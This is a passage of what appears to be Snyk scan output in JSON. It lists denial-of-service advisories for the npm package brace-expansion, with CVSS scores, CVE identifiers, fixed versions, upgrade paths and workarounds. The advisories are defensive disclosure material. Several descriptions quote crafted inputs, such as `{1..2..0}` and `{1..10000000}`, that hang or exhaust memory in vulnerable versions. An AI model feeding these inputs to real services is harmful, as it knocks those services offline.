Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 